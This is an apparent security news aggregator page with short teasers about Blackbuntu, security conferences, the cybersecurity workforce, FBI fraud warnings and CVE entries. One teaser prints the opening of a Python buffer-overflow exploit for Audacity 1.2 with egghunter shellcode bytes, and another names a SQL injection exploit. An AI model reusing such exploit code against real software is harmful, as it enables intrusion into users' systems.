The Blackbuntu Community Edition Download !

The Blackbuntu Community Edition is a Linux Live-CD based on Ubuntu 10.10 which was specially designed for security training students and practitioners of information security. Another tool for penetration testers collection that could be considered as a competition for Pentoo. It supports the...

Kanpur police face difficulty operating Facebook account !

In view of the difficulty faced by policemen in operating the newly opened Facebook accounts of police stations here, a workshop would be conducted to make them more computer savy and efficient in handling online services. "Although the police stations have opened Facebook accounts, the station...

U.S. Faces Shortage of Computer Science Graduates Amid Rising Cybersecurity Needs

The United States could soon face a significant shortage of computer science professionals unless it starts graduating more students in this field. At a time when computer hacking and security are critical issues for both the government and the private sector, the U.S. is producing only 9,000...

The Case for Enterprise Cyber Ranges

The illustrious op-ed page of the Wall Street Journal featured talk of cyberwar again this week with “How to Fight and Win the Cyberwar.” The piece, written by Mortimer Zuckerman, rehashes some important facts: U.S. critical infrastructure, including the parts of it owned by major enterprises, is...

Why Cyber Crime ? It's All About Data !!

Cyber crime = crime. How do we make police forces understand this and how to get it prioritized? In this series of blogs I am looking into whether aggregating data can change the way cyber crime is approached and prioritized. At a seminar at the IT Security trade fair in Utrecht detective super...

Lean Times Demand Smart Security Spending

When it comes to security, it’s planning and execution – not the size of the budget – that matter. With the U.S. economy showing the barest signs of recovering from the recession, the consensus among economists is for a very flat recovery to continue through 2011. For IT security staff, that mean...

FBI Warns Businesses About Bank Fraud Scams

The FBI is warning businesses about the rash of scams that attack crews are using to target their bank accounts and drain them. The scams themselves are nothing new, but the FBI says that they’re becoming more prevalent and sophisticated as the attackers adjust their tactics. The warning from the...

SecTor

Toronto, Ontario, Canada Billed as “Canada’s Premiere IT Security Conference” they might want to ask the CanSecWest folks about that, SecTor is an annual security confab that draws some of the top security researchers and IT professionals from the Great White North and the U.S. to Toronto for...

Ekoparty

A mainstay for the Latin American security community, Ekoparty burst into the limelight this year with a presentation reported first by Threatpost.com on a hole in Microsoft’s ASP.NET technology that could render the security on millions of Web sites obsolete. Now in its sixth year, the annual...

Hack in the Box (HITB)

Kuala Lumpur, Malaysia Booked as “Asia’s Premier Deep Knowledge Security Conference,” HITB is in its 8th year and has since expanded into other countries in the Middle East and Europe. Modeled on shows like Black Hat, HITB offers both training sessions and a multi track security conference and...

Former Employees a Rich Target in Social Engineering Contest

The results of a hacking contest at the DEFCON conference shows that the largest U.S. corporations have a lot to learn. “If any of these targets had hired us to do a social engineering audit, we would have failed them,” an organizer said. HED:DEFCON tournament suggests ex-employees pose big risk...

DMXReady Online Notebook Manager SQL Injection Vulnerability

Exploit for asp platform in category web applications ============================================================ DMXReady Online Notebook Manager SQL Injection Vulnerability ============================================================...

Apple Desperately Needs an SDL Program

We’ve been saying this for years but there’s a certain desperation today for an SDL-type program at Apple. The security reality does not match Apple’s marketing/advertising and, as the Pwn2Own exploits show, the company is running around in circles trying to keep hackers at bay. Apple needs to...

Black Hat Barcelona: Facebook Set to Keynote

The Black Hat security conference will kick off next week in Barcelona, with training sessions and briefings from some of the most talented security researchers in the industry. Facebook’s chief security officer, Max Kelly, is scheduled for a keynote presentation on Wednesday morning following tw...

Cross site scripting

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2009-4343

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2009-4343

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

Audacity 1.2 - '.gro' Universal Buffer Overflow (Egghunter)

!/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" this is the egg...

Crypto flaws becoming a killer for Web applications

One of the few things that most people in the security community seem to agree on is that there is a dire need for better security around Web applications. That need begins with the lack of security training for most Web developers and extends through the inconsistent use of Web-application...

Creative ways to fight data leaks

From Network World Kristy Westphal Data leakage has become a hot topic in information security. But what if you can’t afford the tools that are specifically designed to keep employees from intentionally or mistakenly leaking private or valuable corporate data to the outside? It turns out there ar...